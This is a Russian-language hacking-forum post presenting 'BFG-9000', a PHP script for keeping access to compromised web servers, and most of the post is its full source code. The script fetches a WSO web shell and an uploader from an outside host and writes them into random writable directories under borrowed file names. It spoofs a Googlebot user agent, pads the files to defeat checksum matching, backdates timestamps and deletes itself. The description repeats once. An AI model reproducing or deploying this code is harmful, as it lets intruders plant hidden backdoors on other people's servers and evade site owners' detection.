BFG-9000
Универсальный скрипт для закрепления на шеллах.
Закачивает ваши файлы по ссылке, проверяет работоспособность и прячет их.
Описание
Скрипт загружает на сервер список указанных файлов и прячет их, выбирая директорию случайным образом из доступных для записи и выбирая новое название для загруженных файлов случайным образом из найденных на сервере файлов.
На сервер загружается тестовый файл для проверки выполнения php кода в выбранной директории, после проверки тестовый файл удаляется и в директорию загружется файл из вашего списка.
После загрузки вашего файла на него не делается запросов чтобы избежать преждевременного попадания в лог веб-сервера.
Также в конец загруженного файла добавляется рандомное количество пробелов чтобы изменить его размер и md5 и другие чексуммы, и усложнить поиск подобных файлов.
Файлы скачиваются 3 методами: socket/curl/file_get_contents.
По окончанию работы изменённые директории и загруженные файлы тачатся на старое время изменения директории, и BFG удаляет себя.
Запускайте код BFG через eval на шелле или загружайте на сервер в виде файла и открывайте в браузере.
Не оставляйте код BFG на хостах!
Посвящается xss.pro/ и Exploit.in
О всех недочетах ошибках идеях пишите.
Универсальный скрипт для закрепления на шеллах.
Закачивает ваши файлы по ссылке, проверяет работоспособность и прячет их.
Описание
Скрипт загружает на сервер список указанных файлов и прячет их, выбирая директорию случайным образом из доступных для записи и выбирая новое название для загруженных файлов случайным образом из найденных на сервере файлов.
На сервер загружается тестовый файл для проверки выполнения php кода в выбранной директории, после проверки тестовый файл удаляется и в директорию загружется файл из вашего списка.
После загрузки вашего файла на него не делается запросов чтобы избежать преждевременного попадания в лог веб-сервера.
Также в конец загруженного файла добавляется рандомное количество пробелов чтобы изменить его размер и md5 и другие чексуммы, и усложнить поиск подобных файлов.
Файлы скачиваются 3 методами: socket/curl/file_get_contents.
По окончанию работы изменённые директории и загруженные файлы тачатся на старое время изменения директории, и BFG удаляет себя.
Запускайте код BFG через eval на шелле или загружайте на сервер в виде файла и открывайте в браузере.
Не оставляйте код BFG на хостах!
Посвящается xss.pro/ и Exploit.in
Код:
<?php
/*
_______ _______ _______ _______ _______ _______ _______
| _ || || | | _ || _ || _ || _ |
| |_| || ___|| ___| ____ | | | || | | || | | || | | |
| || |___ | | __ |____| | |_| || | | || | | || | | |
| _ | | ___|| || | |___ || |_| || |_| || |_| |
| |_| || | | |_| | | || || || |
|_______||___| |_______| |___||_______||_______||_______|
v0.1 20140813
*/
/* ######### Config ######### */
/* Список файлов которые нужно загрузить */
$upload['wso_password_kjhgf']='http://myfiles.pro/uploads/1742819183.wso.txt';
$upload['mini_uploader']='http://myfiles.pro/uploads/881404330.upload.txt';
/* Регулярное выражение исключения из имен для файлов */
$exclude_names='#(index\.php|admin\.php)#';
/* User Agent используется при скачивании файлов */
$ua ='Mozilla/5.0 (compatible; googlebot/2.1; +http://www.google.com/bot.html)';
/* Самоуничтожение BFG после выполнения */
$selfkill=true;
/* откуда начинать поиск, можно поменять для заливки на соседний сайт */
$homedir=$_SERVER['DOCUMENT_ROOT'];
/* Можно поменять для заливки на соседний сайт */
$host=$_SERVER['HTTP_HOST'];
/* ######### End Config ######### */
foreach($upload as $name=>$path) {
echo "\n\n [ ] Get content $path\t";
if($body=get($path)) {
echo "[ok] ".strlen($body)."\n";
}else {
echo "[fail]\n;";
continue;
}
if ($handle = opendir($homedir)) {
while (false !== ($file = readdir($handle))) {
if ($file == "." or $file == "..") {
continue;
}
if (filetype($homedir . DIRECTORY_SEPARATOR . $file) == "dir") {
$root_dirs[$file]=$homedir . DIRECTORY_SEPARATOR . $file;
}
}
}
shuffle($root_dirs);
foreach($root_dirs as $root_name=>$root_dir) {
$result[$root_name] = scan($root_dir);
}
if(sizeof($result)>0) {
foreach($result as $home=>$info) {
if(sizeof(@$info['dir'])==0) continue;
if(sizeof($info['file'])==0) continue;
shuffle(array_unique($info['dir']));
array_unique($info['file']);
foreach($info['dir'] as $random_dir) {
shuffle($info['file']);
foreach($info['file'] as $random_file) {
$random_name = $random_dir . DIRECTORY_SEPARATOR . $random_file;
$fail=false;
if(!is_file($random_name)) {
if(is_writable($random_dir)){
//echo " [+] rand path: $random_name\n";
echo " [*] scan: $random_dir\n";
$dir_time=filemtime($random_dir);
if ($handle = opendir($random_dir)) {
$old=microtime(1);
while (false !== ($file = readdir($handle))) {
if ($file == "." or $file == "..") {
continue;
}
$filemt=filemtime($random_dir . DIRECTORY_SEPARATOR . $file);
if($filemt<$old) {
$old=$filemt;
}
}
$data='<?php echo md5(23); ?>';
if(file_put_contents($random_name, $data)) {
echo " [+] Upload: $random_name\n";
$url='http://'. $host .str_replace('\\','/',
str_replace($homedir, '', $random_dir)) .
'/' . $random_file;
echo " [*] check: $url\n";
if($content=get($url)) {
if(preg_match('/'.md5(23).'/', $content)){
echo " [+] Found: $url\n";
if(unlink($random_name)) {
echo " [+] Del: $random_name\n";
}else {
echo " [-] Del: $random_name\n";
}
shuffle($info['file']);
foreach($info['file'] as $random_file) {
$random_name = $random_dir . DIRECTORY_SEPARATOR . $random_file;
$fail=false;
if(!is_file($random_name)) {
$body.="\n#";
for($i=0, $m=rand(1,15); $i!=$m; $i++) {
$body.=md5(rand(0,999999));
}
if(file_put_contents($random_name, $body)) {
echo " [*] Re upload: $random_name\n";
}else {
echo " [!] Upload: $random_name\n";
}
if(chmod($random_name, 0755)){
echo " [+] chmod on 755\n";
}else {
echo " [-] chmod on 755\n";
}
if(touch($random_name, $old)) {
echo " [+] Touch file on: ".date('d/m/y', $old)."\n";
}else {
echo " [-] Touch file on: ".date('d/m/y', $old)."\n";
}
if(touch($random_dir, $dir_time)) {
echo " [+] Touch dir on: ".date('d/m/y', $dir_time)."\n";
}else {
echo " [-] Touch dir on: ".date('d/m/y', $dir_time)."\n";
}
$upload_url='http://'. $host .str_replace('\\','/', str_replace($homedir, '', $random_dir)) .
'/' . $random_file;
$return[$name]=$upload_url;
echo " [+] UPLOAD ON: $upload_url\n";
break(4);
}else {
echo " [~] File exist: $random_name\n";
}
}
}else {
echo " [-] not found\n";
$fail=true;
}
}else {
echo " [!] not recived\n";
$fail=true;
}
if($fail==true){
if(unlink($random_name)) {
echo " [+] Del: $random_name\n";
}else {
echo " [-] Del: $random_name\n";
}
if(touch($random_dir, $dir_time)) {
echo " [+] Touch dir on: ".date('d/m/y', $dir_time)."\n";
}else {
echo " [-] Touch dir on: ".date('d/m/y', $dir_time)."\n";
}
}
}else {
echo " [!] Upload: $random_name\n";
}
}
}else {
echo " [-] No write: $random_name\n";
}
break(1);
}else {
echo " [~] File exist: $random_name\n";
}
}
echo "\n";
}
}
}
}// end foreach files
if(sizeof($return)>0) {
echo "----------------------\n";
foreach($return as $rk=>$rv) {
echo $rk.":\t".$rv."\n";
}
echo "----------------------\n";
if($selfkill==true) {
echo " [ Self kill ] \n";
unlink($_SERVER['SCRIPT_FILENAME']);
}
}else {
echo "Fatal error\n";
}
function scan($homedir, $count=0, $files=array()) {
$scan_max=2;
$subdir=array();
if($count>$scan_max) return $files;
if ($handle = opendir($homedir)) {
while (false !== ($file = readdir($handle))) {
if ($file == "." or $file == "..") {
continue;
}
$fullPath=$homedir . DIRECTORY_SEPARATOR . $file;
if (filetype($fullPath) == "dir") {
$files['dir'][]=$fullPath;
$subdir[]=$fullPath;
}else {
if(!preg_match($exclude_names, $file) and preg_match('/\.php$/i', $file)) {
$files['file'][]=$file;
}
}
}
$count++;
if(sizeof($subdir)>0) {
foreach($subdir as $dir) {
$files=scan($dir, $count, $files);
}
}
}
return $files;
}
function get($url) {
if (is_callable("curl_exec")) {
echo " [curl] ";
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_USERAGENT,$ua);
curl_setopt($ch,CURLOPT_HEADER,false);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$content=curl_exec($ch);
curl_close($ch);
return $content;
} elseif(is_callable("file_get_contents")) {
echo " [fget] ";
return file_get_contents($url, false, stream_context_create(array("http" =>array("header" => "User-Agent: {$ua}"))));
}elseif(is_callable("fsockopen")) {
echo " [socket] ";
if($fp=fsockopen(parse_url($url,PHP_URL_HOST),80,$e,$e,15)) {
$out ="GET ".parse_url($url,PHP_URL_PATH)." HTTP/1.1\r\n";
$out.="Host: ".parse_url($url,PHP_URL_HOST)."\r\n";
$out.="User-Agent: {$ua}\r\n";
$out.="\r\n";
fputs($fp,$out);
while(!feof($fp)) {
$content.=fgets($fp,128);
}
fclose($fp);
return $content;
} else return false;
} else return false;
}
О всех недочетах ошибках идеях пишите.